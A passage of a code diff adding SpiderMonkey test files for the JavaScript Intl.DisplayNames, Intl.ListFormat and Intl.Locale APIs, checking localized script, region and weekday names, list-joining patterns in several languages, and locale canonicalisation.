+ let dn = new Intl.DisplayNames("en", {type: "region", fallback: "none"});
+
+ assertEq(dn.of("RU"), "Russia");
+
+ // ICU's canonicalisation supports "SU" -> "RU".
+ assertEq(Intl.getCanonicalLocales("ru-SU")[0], "ru-RU");
+ assertEq(dn.of("SU"), "Russia");
+
+ // ICU's canonicalisation doesn't support "172" -> "RU".
+ assertEq(Intl.getCanonicalLocales("ru-172")[0], "ru-RU");
+ assertEq(dn.of("172"), "Russia");
+}
+
+// Test when case isn't canonical.
+{
+ let dn = new Intl.DisplayNames("en", {type: "region", fallback: "none"});
+
+ assertEq(dn.of("IT"), "Italy");
+ assertEq(dn.of("it"), "Italy");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/script.js b/js/src/tests/non262/Intl/DisplayNames/script.js
new file mode 100644
index 0000000000..43b3ad5308
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/script.js
@@ -0,0 +1,134 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+const tests = {
+ "en": {
+ long: {
+ "Latn": "Latin",
+ "Hant": "Traditional Han",
+ "Hans": "Simplified Han",
+ "Cans": "Unified Canadian Aboriginal Syllabics",
+ },
+ short: {
+ "Hant": "Traditional",
+ "Hans": "Simplified",
+ "Cans": "UCAS",
+ },
+ narrow: {},
+ },
+ "de": {
+ long: {
+ "Latn": "Lateinisch",
+ "Hant": "Traditionelles Chinesisch",
+ "Hans": "Vereinfachtes Chinesisch",
+ },
+ short: {
+ "Hant": "Traditionell",
+ "Hans": "Vereinfacht",
+ },
+ narrow: {},
+ },
+ "fr": {
+ long: {
+ "Latn": "latin",
+ "Hant": "sinogrammes traditionnels",
+ "Hans": "sinogrammes simplifiés",
+ },
+ short: {
+ "Hant": "traditionnel",
+ "Hans": "simplifié",
+ },
+ narrow: {},
+ },
+ "zh": {
+ long: {
+ "Latn": "拉丁文",
+ "Hant": "繁体中文",
+ "Hans": "简体中文",
+ },
+ short: {
+ "Hant": "繁体",
+ "Hans": "简体",
+ },
+ narrow: {},
+ },
+ "ar": {
+ long: {
+ "Latn": "اللاتينية",
+ "Arab": "العربية",
+ "Hant": "الهان التقليدية",
+ "Hans": "الهان المبسطة",
+ },
+ short: {
+ "Hant": "التقليدية",
+ "Hans": "المبسطة",
+ },
+ narrow: {},
+ },
+};
+
+for (let [locale, localeTests] of Object.entries(tests)) {
+ for (let [style, styleTests] of Object.entries(localeTests)) {
+ let dn = new Intl.DisplayNames(locale, {type: "script", style});
+
+ let resolved = dn.resolvedOptions();
+ assertEq(resolved.locale, locale);
+ assertEq(resolved.style, style);
+ assertEq(resolved.type, "script");
+ assertEq(resolved.fallback, "code");
+
+ let inheritedTests = {...localeTests.long, ...localeTests.short, ...localeTests.narrow};
+ for (let [script, expected] of Object.entries({...inheritedTests, ...styleTests})) {
+ assertEq(dn.of(script), expected);
+
+ // Also works with objects.
+ assertEq(dn.of(Object(script)), expected);
+ }
+ }
+}
+
+{
+ let dn = new Intl.DisplayNames("en", {type: "script"});
+
+ // Performs ToString on the input and then validates the stringified result.
+ assertThrowsInstanceOf(() => dn.of(), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Symbol()), TypeError);
+ assertThrowsInstanceOf(() => dn.of(0), RangeError);
+
+ // ToString(null) = "null", which passes `unicode_script_subtag`.
+ dn.of(null); // no error
+
+ // Throws an error if |code| can't be parsed as a `unicode_script_subtag` production.
+ assertThrowsInstanceOf(() => dn.of("latn-"), RangeError);
+ assertThrowsInstanceOf(() => dn.of("en-latn"), RangeError);
+}
+
+// Test fallback behaviour.
+{
+ let dn1 = new Intl.DisplayNames("en", {type: "script"});
+ let dn2 = new Intl.DisplayNames("en", {type: "script", fallback: "code"});
+ let dn3 = new Intl.DisplayNames("en", {type: "script", fallback: "none"});
+
+ assertEq(dn1.resolvedOptions().fallback, "code");
+ assertEq(dn2.resolvedOptions().fallback, "code");
+ assertEq(dn3.resolvedOptions().fallback, "none");
+
+ // "Aaaa" is not a registered script code.
+ assertEq(dn1.of("Aaaa"), "Aaaa");
+ assertEq(dn2.of("Aaaa"), "Aaaa");
+ assertEq(dn3.of("Aaaa"), undefined);
+
+ // The returned fallback is in canonical case.
+ assertEq(dn1.of("aaaa"), "Aaaa");
+ assertEq(dn2.of("aaaa"), "Aaaa");
+ assertEq(dn3.of("aaaa"), undefined);
+}
+
+// Test when case isn't canonical.
+{
+ let dn = new Intl.DisplayNames("en", {type: "script", fallback: "none"});
+
+ assertEq(dn.of("LATN"), "Latin");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/DisplayNames/shell.js b/js/src/tests/non262/Intl/DisplayNames/shell.js
new file mode 100644
index 0000000000..20326b0254
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/shell.js
@@ -0,0 +1,6 @@
+// Add |Intl.MozDisplayNames| to the Intl object.
+function addMozIntlDisplayNames(global) {
+ let obj = {};
+ global.addIntlExtras(obj);
+ global.Intl.DisplayNames = obj.DisplayNames;
+}
diff --git a/js/src/tests/non262/Intl/DisplayNames/weekday.js b/js/src/tests/non262/Intl/DisplayNames/weekday.js
new file mode 100644
index 0000000000..fd19f24bb1
--- /dev/null
+++ b/js/src/tests/non262/Intl/DisplayNames/weekday.js
@@ -0,0 +1,77 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||!this.hasOwnProperty('addIntlExtras'))
+
+addMozIntlDisplayNames(this);
+
+const tests = {
+ "en": {
+ long: ["Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday"],
+ // short: ["Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"],
+ short: ["Mo", "Tu", "We", "Th", "Fr", "Sa", "Su"],
+ narrow: ["M", "T", "W", "T", "F", "S", "S"],
+ },
+ "de": {
+ long: ["Montag", "Dienstag", "Mittwoch", "Donnerstag", "Freitag", "Samstag", "Sonntag"],
+ // short: ["Mo", "Di", "Mi", "Do", "Fr", "Sa", "So"],
+ short: ["Mo.", "Di.", "Mi.", "Do.", "Fr.", "Sa.", "So."],
+ narrow: ["M", "D", "M", "D", "F", "S", "S"],
+ },
+ "fr": {
+ long: ["lundi", "mardi", "mercredi", "jeudi", "vendredi", "samedi", "dimanche"],
+ // short: ["lun.", "mar.", "mer.", "jeu.", "ven.", "sam.", "dim."],
+ short: ["lu", "ma", "me", "je", "ve", "sa", "di"],
+ narrow: ["L", "M", "M", "J", "V", "S", "D"],
+ },
+ "zh": {
+ long: ["星期一", "星期二", "星期三", "星期四", "星期五", "星期六", "星期日"],
+ short: ["周一", "周二", "周三", "周四", "周五", "周六", "周日"],
+ narrow: ["一", "二", "三", "四", "五", "六", "日"],
+ },
+};
+
+for (let [locale, localeTests] of Object.entries(tests)) {
+ let defaultCalendar = new Intl.DateTimeFormat(locale).resolvedOptions().calendar;
+
+ for (let [style, styleTests] of Object.entries(localeTests)) {
+ let dn = new Intl.DisplayNames(locale, {type: "weekday", style});
+
+ let resolved = dn.resolvedOptions();
+ assertEq(resolved.locale, locale);
+ assertEq(resolved.calendar, defaultCalendar);
+ assertEq(resolved.style, style);
+ assertEq(resolved.type, "weekday");
+ assertEq(resolved.fallback, "code");
+
+ for (let i = 0; i < 7; i++) {
+ assertEq(dn.of(i + 1), styleTests[i]);
+
+ // Also works with strings.
+ assertEq(dn.of(String(i + 1)), styleTests[i]);
+
+ // Also works with objects.
+ assertEq(dn.of(Object(i + 1)), styleTests[i]);
+ }
+ }
+}
+
+{
+ let dn = new Intl.DisplayNames("en", {type: "weekday"});
+
+ // Performs ToString on the input and then validates the stringified result.
+ assertThrowsInstanceOf(() => dn.of(), RangeError);
+ assertThrowsInstanceOf(() => dn.of(null), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Symbol()), TypeError);
+
+ // Throws an error if |code| isn't an integer.
+ assertThrowsInstanceOf(() => dn.of(1.5), RangeError);
+ assertThrowsInstanceOf(() => dn.of(-Infinity), RangeError);
+ assertThrowsInstanceOf(() => dn.of(Infinity), RangeError);
+ assertThrowsInstanceOf(() => dn.of(NaN), RangeError);
+
+ // Throws an error if outside of [1, 7].
+ assertThrowsInstanceOf(() => dn.of(-1), RangeError);
+ assertThrowsInstanceOf(() => dn.of(0), RangeError);
+ assertThrowsInstanceOf(() => dn.of(8), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/ListFormat/browser.js b/js/src/tests/non262/Intl/ListFormat/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/ListFormat/browser.js
diff --git a/js/src/tests/non262/Intl/ListFormat/conjunction-type.js b/js/src/tests/non262/Intl/ListFormat/conjunction-type.js
new file mode 100644
index 0000000000..daf1234499
--- /dev/null
+++ b/js/src/tests/non262/Intl/ListFormat/conjunction-type.js
@@ -0,0 +1,112 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+// Note: Use the same test locales as used in unit-type.js
+
+const {Element, Literal} = ListFormatParts;
+const styles = ["long", "short", "narrow"];
+
+// Test with zero elements.
+{
+ const list = [];
+ const expected = [];
+ const locales = ["ar", "de", "en", "es", "ja", "nl", "th", "zh"];
+
+ for (let locale of locales) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "conjunction", style});
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+// Test with one element.
+{
+ const list = ["A"];
+ const expected = [Element(list[0])];
+ const locales = ["ar", "de", "en", "es", "ja", "nl", "th", "zh"];
+
+ for (let locale of locales) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "conjunction", style});
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+// Test with two elements to cover the [[Template2]] case.
+{
+ const list = ["A", "B"];
+
+ const testData = {
+ "ar": { long: [Element("A"), Literal(" و"), Element("B")] },
+ "de": { long: [Element("A"), Literal(" und "), Element("B")] },
+ "en": {
+ long: [Element("A"), Literal(" and "), Element("B")],
+ short: [Element("A"), Literal(" & "), Element("B")],
+ narrow: [Element("A"), Literal(", "), Element("B")],
+ },
+ "es": { long: [Element("A"), Literal(" y "), Element("B")] },
+ "ja": { long: [Element("A"), Literal("、"), Element("B")] },
+ "nl": { long: [Element("A"), Literal(" en "), Element("B")] },
+ "th": { long: [Element("A"), Literal("และ"), Element("B")] },
+ "zh": { long: [Element("A"), Literal("和"), Element("B")] },
+ };
+
+ for (let [locale, localeData] of Object.entries(testData)) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "conjunction", style});
+ let {[style]: expected = localeData.long} = localeData;
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+// Test with more than two elements.
+//
+// Use four elements to cover all template parts ([[TemplateStart]], [[TemplateMiddle]], and
+// [[TemplateEnd]]).
+{
+ const list = ["A", "B", "C", "D"];
+
+ const testData = {
+ "ar": {
+ long: [Element("A"), Literal(" و"), Element("B"), Literal(" و"), Element("C"), Literal(" و"), Element("D")],
+ short: [Element("A"), Literal(" و"), Element("B"), Literal(" و"), Element("C"), Literal(" و"), Element("D")],
+ narrow: [Element("A"), Literal(" و"), Element("B"), Literal(" و"), Element("C"), Literal(" و"), Element("D")],
+ },
+ "de": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(" und "), Element("D")],
+ },
+ "en": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(", and "), Element("D")],
+ short: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(", & "), Element("D")],
+ narrow: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(", "), Element("D")],
+ },
+ "es": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(" y "), Element("D")],
+ },
+ "ja": {
+ long: [Element("A"), Literal("、"), Element("B"), Literal("、"), Element("C"), Literal("、"), Element("D")],
+ },
+ "nl": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(" en "), Element("D")],
+ },
+ "th": {
+ long: [Element("A"), Literal(" "), Element("B"), Literal(" "), Element("C"), Literal(" และ"), Element("D")],
+ },
+ "zh": {
+ long: [Element("A"), Literal("、"), Element("B"), Literal("、"), Element("C"), Literal("和"), Element("D")],
+ },
+ };
+
+ for (let [locale, localeData] of Object.entries(testData)) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "conjunction", style});
+ let {[style]: expected = localeData.long} = localeData;
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/ListFormat/cross-compartment.js b/js/src/tests/non262/Intl/ListFormat/cross-compartment.js
new file mode 100644
index 0000000000..37c45ef75c
--- /dev/null
+++ b/js/src/tests/non262/Intl/ListFormat/cross-compartment.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+var g = newGlobal();
+
+var locale = "en";
+var list = ["a", "b", "c"];
+
+var listFormat = new Intl.ListFormat(locale);
+var ccwListFormat = new g.Intl.ListFormat(locale);
+
+// Intl.ListFormat.prototype.format
+{
+ var fn = Intl.ListFormat.prototype.format;
+
+ var expectedValue = fn.call(listFormat, list);
+ var actualValue = fn.call(ccwListFormat, list);
+
+ assertEq(actualValue, expectedValue);
+}
+
+// Intl.ListFormat.prototype.formatToParts
+{
+ var fn = Intl.ListFormat.prototype.formatToParts;
+
+ var expectedValue = fn.call(listFormat, list);
+ var actualValue = fn.call(ccwListFormat, list);
+
+ assertDeepEq(actualValue, expectedValue);
+}
+
+// Intl.ListFormat.prototype.resolvedOptions
+{
+ var fn = Intl.ListFormat.prototype.resolvedOptions;
+
+ var expectedValue = fn.call(listFormat);
+ var actualValue = fn.call(ccwListFormat);
+
+ assertDeepEq(actualValue, expectedValue);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/ListFormat/disjunction-type.js b/js/src/tests/non262/Intl/ListFormat/disjunction-type.js
new file mode 100644
index 0000000000..2713a8ae07
--- /dev/null
+++ b/js/src/tests/non262/Intl/ListFormat/disjunction-type.js
@@ -0,0 +1,108 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+// Note: Use the same test locales as used in unit-type.js
+
+const {Element, Literal} = ListFormatParts;
+const styles = ["long", "short", "narrow"];
+
+// Test with zero elements.
+{
+ const list = [];
+ const expected = [];
+ const locales = ["ar", "de", "en", "es", "ja", "nl", "th", "zh"];
+
+ for (let locale of locales) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "disjunction", style});
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+// Test with one element.
+{
+ const list = ["A"];
+ const expected = [Element(list[0])];
+ const locales = ["ar", "de", "en", "es", "ja", "nl", "th", "zh"];
+
+ for (let locale of locales) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "disjunction", style});
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+// Test with two elements to cover the [[Template2]] case.
+{
+ const list = ["A", "B"];
+
+ const testData = {
+ "ar": { long: [Element("A"), Literal(" أو "), Element("B")] },
+ "de": { long: [Element("A"), Literal(" oder "), Element("B")] },
+ "en": { long: [Element("A"), Literal(" or "), Element("B")] },
+ "es": { long: [Element("A"), Literal(" o "), Element("B")] },
+ "ja": { long: [Element("A"), Literal("または"), Element("B")] },
+ "nl": { long: [Element("A"), Literal(" of "), Element("B")] },
+ "th": {
+ long: [Element("A"), Literal(" หรือ "), Element("B")],
+ short: [Element("A"), Literal("หรือ"), Element("B")],
+ narrow: [Element("A"), Literal("หรือ"), Element("B")],
+ },
+ "zh": { long: [Element("A"), Literal("或"), Element("B")] },
+ };
+
+ for (let [locale, localeData] of Object.entries(testData)) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "disjunction", style});
+ let {[style]: expected = localeData.long} = localeData;
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+// Test with more than two elements.
+//
+// Use four elements to cover all template parts ([[TemplateStart]], [[TemplateMiddle]], and
+// [[TemplateEnd]]).
+{
+ const list = ["A", "B", "C", "D"];
+
+ const testData = {
+ "ar": {
+ long: [Element("A"), Literal(" أو "), Element("B"), Literal(" أو "), Element("C"), Literal(" أو "), Element("D")],
+ },
+ "de": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(" oder "), Element("D")],
+ },
+ "en": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(", or "), Element("D")],
+ },
+ "es": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(" o "), Element("D")],
+ },
+ "ja": {
+ long: [Element("A"), Literal("、"), Element("B"), Literal("、"), Element("C"), Literal("、または"), Element("D")],
+ },
+ "nl": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(" of "), Element("D")],
+ },
+ "th": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(" หรือ "), Element("D")],
+ },
+ "zh": {
+ long: [Element("A"), Literal("、"), Element("B"), Literal("、"), Element("C"), Literal("或"), Element("D")],
+ },
+ };
+
+ for (let [locale, localeData] of Object.entries(testData)) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "disjunction", style});
+ let {[style]: expected = localeData.long} = localeData;
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/ListFormat/same-compartment.js b/js/src/tests/non262/Intl/ListFormat/same-compartment.js
new file mode 100644
index 0000000000..a51a041a08
--- /dev/null
+++ b/js/src/tests/non262/Intl/ListFormat/same-compartment.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl')||!this.wrapWithProto)
+
+var locale = "en";
+var list = ["a", "b", "c"];
+
+var listFormat = new Intl.ListFormat(locale);
+var scwListFormat = wrapWithProto(listFormat, Intl.ListFormat.prototype);
+
+// Intl.ListFormat.prototype.format
+{
+ var fn = Intl.ListFormat.prototype.format;
+
+ var expectedValue = fn.call(listFormat, list);
+ var actualValue = fn.call(scwListFormat, list);
+
+ assertEq(actualValue, expectedValue);
+}
+
+// Intl.ListFormat.prototype.formatToParts
+{
+ var fn = Intl.ListFormat.prototype.formatToParts;
+
+ var expectedValue = fn.call(listFormat, list);
+ var actualValue = fn.call(scwListFormat, list);
+
+ assertDeepEq(actualValue, expectedValue);
+}
+
+// Intl.ListFormat.prototype.resolvedOptions
+{
+ var fn = Intl.ListFormat.prototype.resolvedOptions;
+
+ var expectedValue = fn.call(listFormat);
+ var actualValue = fn.call(scwListFormat);
+
+ assertDeepEq(actualValue, expectedValue);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/ListFormat/shell.js b/js/src/tests/non262/Intl/ListFormat/shell.js
new file mode 100644
index 0000000000..70056a579e
--- /dev/null
+++ b/js/src/tests/non262/Intl/ListFormat/shell.js
@@ -0,0 +1,21 @@
+function GenericPartCreator(type) {
+ return str => ({ type, value: str });
+}
+
+const ListFormatParts = {
+ Element: GenericPartCreator("element"),
+ Literal: GenericPartCreator("literal"),
+};
+
+function assertParts(lf, x, expected) {
+ var parts = lf.formatToParts(x);
+ assertEq(parts.map(part => part.value).join(""), lf.format(x),
+ "formatToParts and format must agree");
+
+ var len = parts.length;
+ assertEq(len, expected.length, "parts count mismatch");
+ for (var i = 0; i < len; i++) {
+ assertEq(parts[i].type, expected[i].type, "type mismatch at " + i);
+ assertEq(parts[i].value, expected[i].value, "value mismatch at " + i);
+ }
+}
diff --git a/js/src/tests/non262/Intl/ListFormat/supported-locales.js b/js/src/tests/non262/Intl/ListFormat/supported-locales.js
new file mode 100644
index 0000000000..f5d05e2da5
--- /dev/null
+++ b/js/src/tests/non262/Intl/ListFormat/supported-locales.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+// Intl.ListFormat.supportedLocalesOf returns an empty array for unsupported locales.
+assertEq(Intl.ListFormat.supportedLocalesOf("art-lobjan").length, 0);
+
+// And a non-empty array for supported locales.
+assertEq(Intl.ListFormat.supportedLocalesOf("en").length, 1);
+assertEq(Intl.ListFormat.supportedLocalesOf("en")[0], "en");
+
+// If the locale is supported per |Intl.ListFormat.supportedLocalesOf|, the resolved locale
+// should reflect this.
+for (let locale of Intl.ListFormat.supportedLocalesOf(["en", "de", "th", "ar"])) {
+ let lf = new Intl.ListFormat(locale);
+ assertEq(lf.resolvedOptions().locale, locale);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/ListFormat/unit-type.js b/js/src/tests/non262/Intl/ListFormat/unit-type.js
new file mode 100644
index 0000000000..8c76677865
--- /dev/null
+++ b/js/src/tests/non262/Intl/ListFormat/unit-type.js
@@ -0,0 +1,149 @@
+// |reftest| skip -- "unit" type currently not supported
+
+const {Element, Literal} = ListFormatParts;
+const styles = ["long", "short", "narrow"];
+
+// Test with zero elements.
+{
+ const list = [];
+ const expected = [];
+ const locales = ["ar", "de", "en", "es", "ja", "nl", "th", "zh"];
+
+ for (let locale of locales) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "unit", style});
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+// Test with one element.
+{
+ const list = ["A"];
+ const expected = [Element(list[0])];
+ const locales = ["ar", "de", "en", "es", "ja", "nl", "th", "zh"];
+
+ for (let locale of locales) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "unit", style});
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+// Test with two elements to cover the [[Template2]] case.
+{
+ const list = ["A", "B"];
+
+ const testData = {
+ "ar": {
+ long: [Element("A"), Literal(" و"), Element("B")],
+ narrow: [Element("A"), Literal("، "), Element("B")],
+ },
+ "de": {
+ long: [Element("A"), Literal(", "), Element("B")],
+ },
+ "en": {
+ long: [Element("A"), Literal(", "), Element("B")],
+ narrow: [Element("A"), Literal(" "), Element("B")],
+ },
+ "es": {
+ long: [Element("A"), Literal(" y "), Element("B")],
+ narrow: [Element("A"), Literal(" "), Element("B")],
+ },
+ "ja": {
+ long: [Element("A"), Literal(" "), Element("B")],
+ narrow: [Element("A"), Element("B")],
+ },
+ "nl": {
+ long: [Element("A"), Literal(" en "), Element("B")],
+ short: [Element("A"), Literal(", "), Element("B")],
+ narrow: [Element("A"), Literal(", "), Element("B")],
+ },
+ "th": {
+ long: [Element("A"), Literal(" และ "), Element("B")],
+ short: [Element("A"), Literal(" "), Element("B")],
+ narrow: [Element("A"), Literal(" "), Element("B")],
+ },
+ "zh": {
+ long: [Element("A"), Element("B")],
+ },
+ };
+
+ for (let [locale, localeData] of Object.entries(testData)) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "unit", style});
+ let {[style]: expected = localeData.long} = localeData;
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+// Test with more than two elements.
+//
+// Use four elements to cover all template parts ([[TemplateStart]], [[TemplateMiddle]], and
+// [[TemplateEnd]]).
+{
+ const list = ["A", "B", "C", "D"];
+
+ const testData = {
+ // non-ASCII case
+ "ar": {
+ long: [Element("A"), Literal("، و"), Element("B"), Literal("، و"), Element("C"), Literal("، و"), Element("D")],
+ narrow: [Element("A"), Literal("، "), Element("B"), Literal("، "), Element("C"), Literal("، "), Element("D")],
+ },
+
+ // all values are equal
+ "de": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(" und "), Element("D")],
+ },
+
+ // long and short values are equal
+ "en": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(", "), Element("D")],
+ narrow: [Element("A"), Literal(" "), Element("B"), Literal(" "), Element("C"), Literal(" "), Element("D")],
+ },
+
+ // all values are different
+ "es": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(" y "), Element("D")],
+ short: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(", "), Element("D")],
+ narrow: [Element("A"), Literal(" "), Element("B"), Literal(" "), Element("C"), Literal(" "), Element("D")],
+ },
+
+ // no spacing for narrow case
+ "ja": {
+ long: [Element("A"), Literal(" "), Element("B"), Literal(" "), Element("C"), Literal(" "), Element("D")],
+ narrow: [Element("A"), Element("B"), Element("C"), Element("D")],
+ },
+
+ // short and narrow values are equal
+ "nl": {
+ long: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(" en "), Element("D")],
+ short: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(", "), Element("D")],
+ narrow: [Element("A"), Literal(", "), Element("B"), Literal(", "), Element("C"), Literal(", "), Element("D")],
+ },
+
+ // another non-ASCII case
+ "th": {
+ long: [Element("A"), Literal(" "), Element("B"), Literal(" "), Element("C"), Literal(" และ "), Element("D")],
+ narrow: [Element("A"), Literal(" "), Element("B"), Literal(" "), Element("C"), Literal(" "), Element("D")],
+ },
+
+ // no whitespace at all
+ "zh": {
+ long: [Element("A"), Element("B"), Element("C"), Element("D")],
+ },
+ };
+
+ for (let [locale, localeData] of Object.entries(testData)) {
+ for (let style of styles) {
+ let lf = new Intl.ListFormat(locale, {type: "unit", style});
+ let {[style]: expected = localeData.long} = localeData;
+ assertParts(lf, list, expected);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/Locale/apply-options-to-tag-canonicalize-twice.js b/js/src/tests/non262/Intl/Locale/apply-options-to-tag-canonicalize-twice.js
new file mode 100644
index 0000000000..2a96200757
--- /dev/null
+++ b/js/src/tests/non262/Intl/Locale/apply-options-to-tag-canonicalize-twice.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+// ApplyOptionsToTag canonicalises the locale identifier before applying the
+// options. That means "und-Armn-SU" is first canonicalised to "und-Armn-AM",
+// then the language is changed to "ru". If "ru" were applied first, the result
+// would be "ru-Armn-RU" instead.
+assertEq(new Intl.Locale("und-Armn-SU", {language:"ru"}).toString(),
+ "ru-Armn-AM");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/Locale/browser.js b/js/src/tests/non262/Intl/Locale/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/Locale/browser.js
diff --git a/js/src/tests/non262/Intl/Locale/coerce-options-before-validating-tag.js b/js/src/tests/non262/Intl/Locale/coerce-options-before-validating-tag.js
new file mode 100644
index 0000000000..7f57a61132
--- /dev/null
+++ b/js/src/tests/non262/Intl/Locale/coerce-options-before-validating-tag.js
@@ -0,0 +1,10 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+// Throw a TypeError when the |options| argument is null before validating the
+// language tag argument.
+assertThrowsInstanceOf(() => {
+ new Intl.Locale("invalid_tag", null);
+}, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/Locale/cross-compartment.js b/js/src/tests/non262/Intl/Locale/cross-compartment.js
new file mode 100644
index 0000000000..d3788e3eb7
--- /dev/null
+++ b/js/src/tests/non262/Intl/Locale/cross-compartment.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+var g = newGlobal();
+
+var tag = "de-Latn-AT-u-ca-gregory-nu-latn-co-phonebk-kf-false-kn-hc-h23";
+var locale = new Intl.Locale(tag);
+var ccwLocale = new g.Intl.Locale(tag);
+
+for (var [key, {get, value = get}] of Object.entries(Object.getOwnPropertyDescriptors(Intl.Locale.prototype))) {
+ if (typeof value === "function") {
+ if (key !== "constructor") {
+ var expectedValue = value.call(locale);
+
+ if (typeof expectedValue === "string" || typeof expectedValue === "boolean") {
+ assertEq(value.call(ccwLocale), expectedValue, key);
+ } else if (expectedValue instanceof Intl.Locale) {
+ assertEq(value.call(ccwLocale).toString(), expectedValue.toString(), key);
+ } else {
+ throw new Error("unexpected result value");
+ }
+ } else {
+ assertEq(new value(ccwLocale).toString(), new value(locale).toString(), key);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/Locale/grandfathered.js b/js/src/tests/non262/Intl/Locale/grandfathered.js
new file mode 100644
index 0000000000..eb52bc62b4
--- /dev/null
+++ b/js/src/tests/non262/Intl/Locale/grandfathered.js
@@ -0,0 +1,75 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+var testData = [
+ {
+ tag: "cel-gaulish",
+ options: {
+ numberingSystem: "latn",
+ },
+ canonical: "xtg-u-nu-latn-x-cel-gaulish",
+ extensions: {
+ numberingSystem: "latn",
+ },
+ },
+
+ {
+ tag: "cel-gaulish",
+ options: {
+ region: "FR",
+ numberingSystem: "latn",
+ },
+ canonical: "xtg-FR-u-nu-latn-x-cel-gaulish",
+ extensions: {
+ numberingSystem: "latn",
+ },
+ },
+
+ {
+ tag: "art-lojban",
+ options: {
+ numberingSystem: "latn",
+ },
+ canonical: "jbo-u-nu-latn",
+ extensions: {
+ numberingSystem: "latn",
+ },
+ },
+
+ {
+ tag: "art-lojban",
+ options: {
+ region: "ZZ",
+ numberingSystem: "latn",
+ },
+ canonical: "jbo-ZZ-u-nu-latn",
+ extensions: {
